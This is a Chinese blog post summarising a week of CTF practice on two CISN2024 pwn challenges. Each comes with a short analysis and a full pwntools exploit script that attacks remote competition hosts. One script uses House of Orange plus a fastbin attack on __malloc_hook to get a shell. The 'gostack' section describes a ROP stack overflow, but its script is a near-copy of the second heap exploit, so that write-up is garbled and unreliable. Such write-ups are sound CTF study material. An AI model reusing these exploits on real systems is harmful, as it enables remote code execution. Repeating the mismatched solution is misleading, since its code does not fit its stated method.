24-05-20

本周学习总结

CISN,ISCC,what can i say?

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

一、[CISN2024初赛]–gostack

Check:

64位程序,NX全开。

关键代码如下:

虽然代码反编译出来是依托答辩,但是我们可以通过gdb的动态调试获得一些漏洞。

调试的结果就是可以用0x1D8的填充进行栈溢出,但要求0x108的填充位置为栈上的一个地址才能绕过检查,同时程序中含有所有的ROP链的片段和syscall。

由上考虑使用ROP链构造一次read输入获得/bin/sh\x00,然后实现系统调用getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# ==================== 程序连接配置 ====================

p = remote("8.147.131.196", 21246)
# p = process("./heap")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 功能函数定义 ====================

def add(size, content):
sea(b"choice:", stre(1))
sea(b"content:", stre(size))
sea(b"content:\n", content)

def show():
sea(b"choice:", stre(2))

def dele():
sea(b"choice:", stre(3))

def edit(size, content):
sea(b"choice:", stre(4))
sea(b"content:", stre(size))
sea(b"content:\n", content)

# ==================== 漏洞利用 ====================

# 初始交互
sea(b"name.\n", b"ZLSF")

# 步骤1: House of Orange 准备
add(0x88, b"A" * 0x18)
edit(0x90, b"A" * 0x88 + p64(0xf71))

# 步骤2: 触发unsorted bin,泄露libc
add(0xff0, b"A" * 0x18)
add(0x88, b"A" * 0x8)
show()

# 步骤3: 计算libc基址
reu(b"AAAAAAAA")
libc_base = raddr64() - 0x3c5188
ph(libc_base, "libc_base")

one = libc_base + 0xf03a4
malloc_hook = libc_base + libc.sym["__malloc_hook"]

# 步骤4: Fastbin Attack 准备
add(0xDD0, b"A" * 0x18)
add(0x60, b"A" * 0x18)
dele()

# 步骤5: 修改fastbin fd指针
edit(0x10, p64(malloc_hook - 0x23) + p64(malloc_hook - 0x23))

# 步骤6: 分配两次,将chunk分配到malloc_hook附近
add(0x60, b"A" * 0x8)
add(0x60, b"A" * 0x13 + p64(one))

# 步骤7: 触发malloc,执行one_gadget
sea(b"choice:", stre(1))
sea(b"content:", stre(0x60))

# 进入交互模式
op()

Flag:

二、[CISN2024初赛]–orange_cat_diary

Check:

64位程序,保护全开.

通过ida反编译得知存在uaf和堆溢出漏洞。但是free函数和show函数只能使用一次。

可以通过覆盖topchunk来获得一个unsortbins,然后通过合适的调整和free来获得不会被合并的fastbin,通过uaf修改fd地址来攻击malloc_hook来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# 远程连接
p = remote("8.147.129.121", 40340)

# 本地调试选项(已注释)
# p = process("./heap")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'

def add(size, content):
sea(b"choice:", stre(1))
sea(b"content:", stre(size))
sea(b"content:\n", content)

def show():
sea(b"choice:", stre(2))

def dele():
sea(b"choice:", stre(3))

def edit(size, content):
sea(b"choice:", stre(4))
sea(b"content:", stre(size))
sea(b"content:\n", content)

# 漏洞利用流程
sea(b"name.\n", b"ZLSF")
add(0x88, b"A" * 0x18)
edit(0x90, b"A" * 0x88 + p64(0xf71))
add(0xff0, b"A" * 0x18)
add(0x88, b"A" * 0x8)
show()

reu(b"AAAAAAAA")
libc_base = raddr64() - 0x3c5188
ph(libc_base, "libc_base")

one = libc_base + 0xf03a4
malloc_hook = libc_base + libc.sym["__malloc_hook"]

add(0xDD0, b"A" * 0x18)
add(0x60, b"A" * 0x18)
dele()
edit(0x10, p64(malloc_hook - 0x23) + p64(malloc_hook - 0x23))
add(0x60, b"A" * 0x8)
add(0x60, b"A" * 0x13 + p64(one))

sea(b"choice:", stre(1))
sea(b"content:", stre(0x60))
op()

Flag:

下周学习计划

| 应该要做的事情 |

学习感受

pycc两分钟,修改wp半小时。


24-05-20
https://zlsf-zl.github.io/2024/05/20/5-20-5-26/
作者
ZLSF
发布于
2024年5月20日
许可协议